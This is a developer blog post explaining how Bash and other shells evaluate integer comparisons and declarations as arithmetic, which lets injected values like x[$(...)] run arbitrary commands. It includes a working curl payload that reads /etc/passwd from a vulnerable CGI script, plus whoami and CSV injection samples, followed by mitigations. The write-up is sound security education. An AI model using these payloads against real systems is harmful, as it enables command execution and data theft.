Arithmetic operation in shell script can be exploited

greymd

Yasuhiro Yamada

Posted on September 3, 2019

Arithmetic operation in shell script can be exploited

Is it vulnerable?

Here is the simple Bash script called index.cgi.
It is supposed to be used as CGI.
It gets parameter called num provided by a client and checks whether the num equals to 100 or not.

#!/bin/bash
printf "Content-type: text\n\n"
read PARAMS
NUM="${PARAMS#num=}"
if [[ "$NUM" -eq 100 ]];then
  echo "OK"
else
  echo "NG"
fi

It works fine like this.

$ curl -d num=100 http://localhost/index.cgi
OK

$ curl -d num=101 http://localhost/index.cgi
NG

And also, empty, non-digit, and any other invalid parameters are rejected properly.

$ curl http://localhost/index.cgi
NG

$ curl -d num='' http://localhost/index.cgi
NG

$ curl -d num=abcdefg http://localhost/index.cgi
NG

$ curl -d num='true ]] && [[ 100' http://localhost/index.cgi
NG

$ curl -d num='\\;"\\"""""";;;~``~\\' http://localhost/index.cgi
NG

Perfect.
It is secure enough, isn't it?

However, this script is actually EXPLOITABLE.
It has the arbitrary code execution vulnerability.
Can you guess which line is problem?

#!/bin/bash
printf "Content-type: text\n\n"
read PARAMS
NUM="${PARAMS#num=}"
if [[ "$NUM" -eq 100 ]];then
  echo "OK"
else
  echo "NG"
fi

Think 1 minute...

...

Did you get it?

The problem is this line.

if [[ "$NUM" -eq 100 ]];then

Let's execute this command.

$ curl -d num='x[$(cat /etc/passwd > /proc/$$/fd/1)]' http://localhost/index.cgi

And here is the result.
/etc/passwd of the Web server is exposed! Yay!

$ curl -d num='x[$(cat /etc/passwd > /proc/$$/fd/1)]' http://localhost/index.cgi
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
gnome-initial-setup:x:126:65534::/run/gnome-initial-setup/:/bin/false
gdm:x:127:130:Gnome Display Manager:/var/lib/gdm3:/bin/false
NG

This behavior may also cause CSV injection, privilege escalation and etc (see later).

Let me explain the technical reason of this phenomenon.

Before you read

This article is based on the report (Japanese) written by @yamaya.
All the samples in this article were checked with following versions.

$ bash --version
GNU bash, version 5.0.0(1)-release (x86_64-pc-linux-gnu)

$ ksh --version
  version         sh (AT&T Research) 93u+ 2012-08-01

$ zsh --version
zsh 5.4.2 (x86_64-ubuntu-linux-gnu)

$ mksh -c 'echo $KSH_VERSION'
@(#)MIRBSD KSH R56 2018/01/14

Please note that first PoC only works with bash and mksh as far as I investigated.
But similar behavior is confirmed with zsh and ksh-like shells (ksh, pdksh) as mentioned later.
ash and dash are not affected as far as I know.

Arithmetic expression of shell script

Not only bash but also zsh, ksh and etc ... evaluate integer type variable as same as common programming languages.
However, it is not just evaluated as "integer number" but "Arithmetic expression".

"Arithmetic expression" means the variety of expressions for mathematical calculations like various operators, array, assignment and so on.
For bash, see manual 6.5 Shell Arithmetic.

The way of evaluation of Arithmetic expression causes the unintentional behavior.
For example, here is a simple script called hoge.sh (this sample is came from the reported article).

#!/bin/bash
typeset -i n # declare "n" as integer type ("typeset" is same as "declare")
a=5
n="$1"
echo "$a"

It just prints the value of a.
This script is expected to print 5 ANYTIME.
Even if any values provided by user, n is only affected and a is NOT affected.

Is it OK so far ?

However, unexpected result is shown when the argument is a=10.

$ ./hoge.sh a=10
10

Why is this happening ?
Because the argument was evaluated as "Arithmetic expression".
Here is the Bash's manual that explains this behavior.

4.2 Bash Builtin Commands - Bash Reference Manual

declare
...
-i
The variable is to be treated as an integer; arithmetic evaluation (see Shell Arithmetic) is performed when the variable is assigned a value.

As you can see, n was declared by typeset -i.
Then, n="$1" does NOT means n is assigned the value of $1.
It means n is assigned the result of $1 that evaluated as arithmetic expression.

Because n is declared as integer, therefore evaluation is implemented when this variable is assigned value.

The value of a is overwritten because a=10 is properly evaluated since it has the correct operator (assignment) as the arithmetic expression.

6.5 Shell Arithmetic - Bash Reference Manual

= *= /= %= += -= <<= >>= &= = |=

assignment

It looks like unintuitive but it is clearly documented on the bash's manual.

Please note that, this is same as zsh, ksh and other shells.

$ ./hoge.zsh a=10
10

./hoge.ksh a=10
10

In this case, n is assigned $1 by = operator.
However, this evaluation is going to be implemented even though the assignment is conducted by read n (to use stdin as the value) or n=$(command) (to use the result of the command as the value).

Let me explain one more advanced example.
It is not commonly known but any external commands can be called as an arithmetic expression.
As you may know, Shell supports Array.

Arrays - Bash Reference Manual

name[subscript]=value

And it can be interpreted as an arithmetic expression.

$ (( x[0]=1, x[1]=2 ))
$ echo "${x[*]}"
1 2

In addition, command substitution $(command) can be stated as the subscript of array like this.

$ (( x[$(echo 0)]=100 ))
$ echo "${x[0]}"
100

That means, x[$(command)] is GRAMMATICALLY CORRECT AS AN ARITHMETIC EXPRESSION.

Wow, that's interesting!
Let's modify above example as following.

$ ./hoge.sh 'x[$(whoami>&2)]'
myuser
5

As you can see, whoami command is executed and user name myuser is shown.
Please note that whoami is NOT evaluated on the current shell.
It's clear if you run this example with sudo.

$ sudo ./hoge.sh 'x[$(whoami>&2)]'
root
5

If $(whoami>&2) is evaluated on the current shell, the result must be myuser not root.
That means hoge.sh is executed as the privileged process and whoami prints root in the same process.

Other affected expressions

Not only typeset -i but also other syntaxes like $(( ... )) and $[ ... ] for Arbitrary expression perform same procedure.

#!/bin/bash
a=5
n=$(( $1 ))
echo "$a"
$ sudo ./script.sh 'x[$(whoami>&2)]'
root
5

Surprisingly, arithmetic binary operators (like -eq, -le) used within the [[ ... ]] are also same.
That means an operand of the operator is evaluated as Arithmetic expression.

#!/bin/bash
if [[ $1 -eq 0 ]]; then
    a=0
else
    a=1
fi
$ sudo ./script.sh 'x[$(whoami>&2)]'
root

In shell script, evaluation of arithmetic expression is performed in various situations.
For example, offset and length used in the parameter expansion ${var:offset:length} is also evaluated as arithmetic expression.

CSV Injection

The author of the original report introduced following script that causes CSV Injection. This script just loads the CSV file and run simple calculation for each line.

#!/bin/bash
csv="foo.csv"
while IFS=, read item price num; do
    echo "$item,$((price*num))"
done < "$csv"

But if the CSV file includes malicious input like this, an arbitrary command is executed.

hoge,100,x[$(whoami>&2)]

Workaround

Next, let me discuss how to suppress malicious attacks from shell script.
The point is that to be nervous about external input.

Check input as string

=~ operator that compares the string value does not evaluates the value as arithmetic expression.
If the value supposed to be digit numbers, check with regular expression in advance.

#!/bin/bash
typeset -i n
a="$1"
[[ $a =~ ^[0-9]*$ ]] && n=$a

Use external command as much as possible

Originally, shell is the "glue" language to combine multiple commands.
Why don't you utilize external commands?

For example, [ ... ] expression is not affected from this problem.
Because it does not interpret builtin arithmetic expression of the shell since [ is individual command.

$ which [
/usr/bin/[

Therefore, this script is NOT vulnerable.

#!/bin/bash
if [ "$1" -eq 0 ]; then
    a=0
else
    a=1
fi
./script.sh 'x[$(whoami>&2)]'
./script.sh: line 2: [: x[$(whoami>&2)]: integer expression expected

Let me introduce one more example.
bashcms is the Content management system (CMS) written in Bash created by @ryuichiueda.
He has published his own Web site on this CMS for more than 6 years.
However, he has never experienced security issues and performance issues (as he said in his book).
"bashcms" filters all the input with external command since it does not store user input to the shell variables directly.

bashcms2/blob/master/bin/index.cgi

dir="$(tr -dc 'a-zA-Z0-9_=' <<< ${QUERY_STRING} | sed 's;=;s/;')"

Again: Is it vulnerability ?

This behavior is very unintuitive.
As you can see, this behavior may be used for malicious attacks.
For that reason, the author of original article reports this issue to IPA1.

However, IPA judges that it is not the problem of interpreter itself.
Therefore, the developer should take care of this issue.
Yeah, that may be technically right.
Actually, as I introduced, this behavior is documented on shell's manual.
Not only bash, but also mksh has also the small warning message on its manual about it.

mksh(1)

Warning: This also affects implicit conversion to integer, for example as done by the let command. Never use unchecked user input, e.g. from the environment, in an arithmetic context!

How do you think about this behavior ?

Do you think this is vulnerability ? or Shell's expected behavior?

Do you have any other ideas how to write secure code ?

Please comment and let us discuss :)


  1. IPA: Information-technology Promotion Agency. The organization that organizes various ICT activities for Japanese citizens. This is kind of public organization because Japanese government support it financially. Japanese software engineers can report a software vulnerability to this organization so that they can escalate it into other stakeholders if necessary. 

💖 💪 🙅 🚩
greymd
Yasuhiro Yamada

Posted on September 3, 2019

Join Our Newsletter. No Spam, Only the good stuff.

Sign up to receive the latest update from our blog.

Related